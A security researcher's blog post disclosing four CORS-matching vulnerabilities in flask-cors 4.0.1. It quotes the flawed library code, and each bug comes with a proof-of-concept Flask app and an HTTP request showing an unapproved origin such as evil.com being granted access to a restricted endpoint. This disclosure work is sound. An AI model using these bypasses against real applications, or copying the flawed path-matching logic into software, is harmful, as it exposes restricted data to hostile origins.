Finding vulnerabilities on flask-cors library

Last few months, i decided to do some source code review, so i went to huntr.dev to see some targets that offer small bounties, and i decided to focus on flask-cors.
Throughout my engagement, i discovered a total of 4 vulnerabilities, 3 of which is about improper matching of the urls for applying the cors rules. All vulnerabilities are discovered in flask-cors version 4.0.1
Bug #1: Private Network Permission Enabled by default
The private network cors header, Access-Control-Allow-Private-Network
is a new feature introduced by chrome. In summary, when a public network, try to make a request to a private network, chrome will make a preflight request including the Access-Control-Request-Private-Network: true
header. The server must then respond with Access-Control-Allow-Private-Network: true
for the request to proceed
flask-cors, by default, always respond and return true on this, header, allowing a public network, to make requests to private networks.
# Response Headers
...
ACL_RESPONSE_PRIVATE_NETWORK = 'Access-Control-Allow-Private-Network'
# Request Header
...
ACL_REQUEST_HEADER_PRIVATE_NETWORK = 'Access-Control-Request-Private-Network'
def get_cors_headers(options, request_headers, request_method):
origins_to_set = get_cors_origins(options, request_headers.get('Origin'))
headers = MultiDict()
...
if ACL_REQUEST_HEADER_PRIVATE_NETWORK in request_headers \
and request_headers.get(ACL_REQUEST_HEADER_PRIVATE_NETWORK) == 'true':
headers[ACL_RESPONSE_PRIVATE_NETWORK] = 'true'
It also appears that this is already reported way before by lmm-git on github so i would like to give credit on him
Bug #2: Inconsistent CORS Matching Due to Handling of “+” in URL Path
flask-cors has a bug where the request.path is passed through the unquote_plus
function, which converts the +
character to a space . Since +
is a valid character in URL paths, this behavior leads to incorrect path normalization, causing potential mismatches in CORS configuration. This can result in endpoints not being matched correctly to their CORS settings, leading to unexpected CORS policy application.
def make_after_request_function(resources):
def cors_after_request(resp):
# If CORS headers are set in a view decorator, pass
if resp.headers is not None and resp.headers.get(ACL_ORIGIN):
LOG.debug('CORS have been already evaluated, skipping')
return resp
normalized_path = unquote_plus(request.path) # Vuln here
for res_regex, res_options in resources:
if try_match(normalized_path, res_regex): ## Search the normalized_path to the defined rules
LOG.debug("Request to '%r' matches CORS resource '%s'. Using options: %s",
request.path, get_regexp_pattern(res_regex), res_options)
set_cors_headers(resp, res_options)
As a poc, i created a simple web server where the endpoint /api/super+Secret
should only be served to https://onlythis.com
from flask import Flask, jsonify
import logging
try:
from flask_cors import CORS # The typical way to import flask-cors
except ImportError:
# Path hack allows examples to be run without installation.
import os
parentdir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
os.sys.path.insert(0, parentdir)
from flask_cors import CORS
app = Flask('FlaskCorsAppBasedExample')
logging.basicConfig(level=logging.INFO)
# To enable logging for flask-cors,
logging.getLogger('flask_cors').level = logging.DEBUG
CORS(app, resources={
r'/api/*': {'origins': ['*']},
r'/api/super\+Secret': {'origins': ['https://onlythis.com']}
})
@app.route("/api/super+Secret")
def secret():
return "Very Confidential. Only serve to https://onlythis.com"
if __name__ == "__main__":
app.run(debug=True)
Request:
GET /api/super+Secret HTTP/1.1
Host: 127.0.0.1:5000
Origin: https://evil.com
Connection: close
Response:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 53
Access-Control-Allow-Origin: https://evil.com
Vary: Origin
Server: Werkzeug/1.0.1 Python/3.9.5
Date: Sat, 11 May 2024 20:10:28 GMT
Very Confidential. Only serve to https://onlythis.com
Bug #3: Regex Path Matching Vulnerability due to improper sorting of regex length
The plugin prioritize longer regex to provide specificity when matching the path, however, it incorrectly compares regex patterns over more specific ones. This can lead to improper regex matching on very specific scenarios.
def parse_resources(resources):
if isinstance(resources, dict):
# To make the API more consistent with the decorator, allow a
# resource of '*', which is not actually a valid regexp.
resources = [(re_fix(k), v) for k, v in resources.items()]
# Sort by regex length to provide consistency of matching and
# to provide a proxy for specificity of match. E.G. longer
# regular expressions are tried first.
def pattern_length(pair):
maybe_regex, _ = pair
return len(get_regexp_pattern(maybe_regex)) # Vuln here
return sorted(resources,
key=pattern_length,
reverse=True)
As a poc, i made a small server with two rules, the first one is the regex that is supposed to match /api, /apiv1, /apiv2
. The second is the endpoint we intend to secure
from flask import Flask, jsonify
import logging
try:
from flask_cors import CORS # The typical way to import flask-cors
except ImportError:
# Path hack allows examples to be run without installation.
import os
parentdir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
os.sys.path.insert(0, parentdir)
from flask_cors import CORS
app = Flask('FlaskCorsAppBasedExample')
logging.basicConfig(level=logging.INFO)
# To enable logging for flask-cors,
logging.getLogger('flask_cors').level = logging.DEBUG
CORS(app, resources={
r'/[Aa]pi([Vv][12])?/*': {'origins': ['*']}, # This match /api, /apiv1, /apiv2 etc.
r'/api/super_Secret': {'origins': ['https://onlythis.com']}
})
@app.route("/api/super_Secret")
def secret():
return "Very Confidential. Only serve to https://onlythis.com"
@app.route("/apiv1/users/")
def list_users():
return jsonify(user="joe")
if __name__ == "__main__":
app.run(debug=True)
Request:
GET /api/super_Secret HTTP/1.1
Host: 127.0.0.1:5000
Origin: https://evil.com
Response:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 53
Access-Control-Allow-Origin: https://evil.com
Vary: Origin
Server: Werkzeug/1.0.1 Python/3.9.5
Date: Sun, 12 May 2024 14:35:22 GMT
Very Confidential. Only serve to https://onlythis.com
Bug #4: Case-Insensitive Path Matching result to potential CORS misconfiguration
Matching for the request path is done with the function try_match
function which is case insensitive as it is originally for matching hosts. This results in a mismatch because paths in URLs are case-sensitive, but the regex matching treats them as case-insensitive. This can lead to CORS misconfiguration on very specific cases.
def make_after_request_function(resources):
def cors_after_request(resp):
# If CORS headers are set in a view decorator, pass
if resp.headers is not None and resp.headers.get(ACL_ORIGIN):
LOG.debug('CORS have been already evaluated, skipping')
return resp
normalized_path = unquote_plus(request.path)
for res_regex, res_options in resources:
if try_match(normalized_path, res_regex): # Vuln here
LOG.debug("Request to '%r' matches CORS resource '%s'. Using options: %s",
request.path, get_regexp_pattern(res_regex), res_options)
set_cors_headers(resp, res_options)
break
As a poc, i made a small server that have two cors rules, with different case.
from flask import Flask, jsonify
import logging
try:
from flask_cors import CORS # The typical way to import flask-cors
except ImportError:
# Path hack allows examples to be run without installation.
import os
parentdir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
os.sys.path.insert(0, parentdir)
from flask_cors import CORS
app = Flask('FlaskCorsAppBasedExample')
logging.basicConfig(level=logging.INFO)
# To enable logging for flask-cors,
logging.getLogger('flask_cors').level = logging.DEBUG
CORS(app, resources={
r'/API/*': {'origins': ['*']},
r'/api/*': {'origins': ['https://lowercase.com']}
})
@app.route("/API/super_Secret")
def secret():
return "Not much confidential, feel free to serve to any origin"
@app.route("/api/super_Secret")
def list_users():
return "Very Confidential. Only serve to https://lowercase.com"
if __name__ == "__main__":
app.run(debug=True)
Request:
GET /api/super_Secret HTTP/1.1
Host: 127.0.0.1:5000
Origin: https://notlowercase.com
Response:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 54
Access-Control-Allow-Origin: https://notlowercase.com
Vary: Origin
Server: Werkzeug/1.0.1 Python/3.9.5
Date: Mon, 13 May 2024 20:34:40 GMT
Very Confidential. Only serve to https://lowercase.com
Closing thoughts
Overall, im surprised to find 4 vulnerabilities on such a small code. But i think because of its size, i managed to audit the code more thoroughly going through it line by line and finding these obscure vulnerabilities. Thanks for reading
Follow me on X/twitter: @tomorrowisnew__